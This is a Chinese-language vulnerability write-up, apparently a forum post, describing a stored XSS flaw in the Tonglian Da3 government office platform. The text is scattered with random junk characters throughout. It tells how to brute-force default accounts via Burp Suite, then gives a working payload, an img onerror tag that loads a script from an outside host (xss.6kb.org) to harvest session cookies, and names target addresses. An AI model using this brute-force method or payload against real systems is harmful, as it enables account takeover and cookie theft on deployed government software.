同联Da3协同办公平台后台通用储存型xss漏洞

admin

6 H. H$ V+ w- p5 X' C 4 w" s3 o5 P$ T- Z( r 5 b; i( e) M+ z6 [0 b! B e) }2 I3 m 4 h; E6 H1 s, G* x4 T 4 ?$ b% G# f( ?6 j' c3 R( P6 [$ ]7 \

同联Da3协同办公平台后台通用储存型xss漏洞

平台简介： {4 K) h0 ]3 n

5 y( a" I4 Z D6 i/ D/ |8 s

 

2 O% b5 P1 ~8 A, C 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
8 I3 _8 T! f. o* N1 x4 ?1 T9 {* E同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
$ Z- Q' t- V; }. _2 z* M同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ / R4 v1 o# J* D

' Q0 D# a0 e2 t4 N% M+ e$ R   , \+ O4 u w9 w- ^6 U

& c7 S: p# A& p* g* c

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

3 I0 A3 W3 S4 M3 h0 l+ u$ i

 

/ a, @- [+ l, ]. z

+ a! _, I. e, I# O B! V http://1.1.1.1:7197/cap-aco/#（案例2-） 9 Z) W" H) P/ g+ W

+ G" w6 A2 X1 e+ a

http://www.XXOO.com （案例1-官网网站） 1 l- G" P+ ^ n: o- U3 a! |

漏洞详情: 2 R9 a- Z! p7 H

7 v0 j: ?2 B$ H5 l# U2 r

% `, ]' N* a: P9 R+ f3 S Z( t  案例一、

8 {5 e' s4 X. q, W9 X

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ! L7 X8 W# O0 x: c: ^+ v" o

9 ]. y6 T6 g# M( S/ U

L5 c) n+ N" r& k   ) j2 _% C( F/ S0 u

( x; y$ y( J, W: L ! [& Z* ^. p& a

9 _# Z# Z' y* Z4 J. R8 u: a! ]) ? status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： ( [6 {7 H2 }0 t+ G! |

  # O6 O0 `: r: `+ X# r" l/ h$ [) o

3 h' A) z' S! W, F; A

. V- N% Q" o3 _ z- }8 X

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 ( B9 R' L% S/ f+ v6 E' @

. N4 G* ~" N( \' T" e& N: J   # s: g; E* F. U L4 k8 R5 R9 O

4 h. j1 Y# {5 \: t <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： / [3 E V$ ]/ U& z

2 h( W5 L) K: Y- I9 u5 D

, O, t# I1 H* k6 ` {3 f0 E I

然后发送，接收cookie如图： " p3 Z+ x7 ^ C! ]0 m$ F# j

! O+ O5 [. v! r& M6 H I

 

* e7 g# n& p A- q" Y: B' y! R# k9 ]* S

$ { n, U# T8 R/ Z, m  

* u/ ]4 F5 g; I0 b& K/ P `) J

  a/ T- N+ O2 `( H' t k

. |' @) b6 i& d! z* i   $ h4 w9 h0 B( K- g/ X& b

- o! e6 x% {" u, [. ` , A9 b0 Y; \# G' H8 t" A

7 Q6 j) }% j( A' @" I$ p* z. |

2 [ ^0 e0 V! L9 o

 

' c/ \# j! j4 E/ j! ^

: F# T. P5 x( z; O' E" E7 K& f 案例2、

前面步骤都一样，下面看效果图：

+ [5 [; P, G" ]: U. x v

 

* U; u0 a! F! s% _. j

  & m; p: i. D& D; o; t$ Q

9 S$ I- S& s. |2 C: @) }

6 ]9 H! i* x( O# v8 a; ~- l

1 i, j# M w0 \/ L. ^

\! n7 |) t1 }( v1 a4 E  

' M4 N9 A, ^1 \

, i+ Z+ P$ ]" \) m5 B3 W$ ? O   * u8 N# l# n1 P; F

0 D d3 L ?0 I U! g M

( `5 A4 p- k3 |: s/ A   ) O- f+ B5 c- [/ e v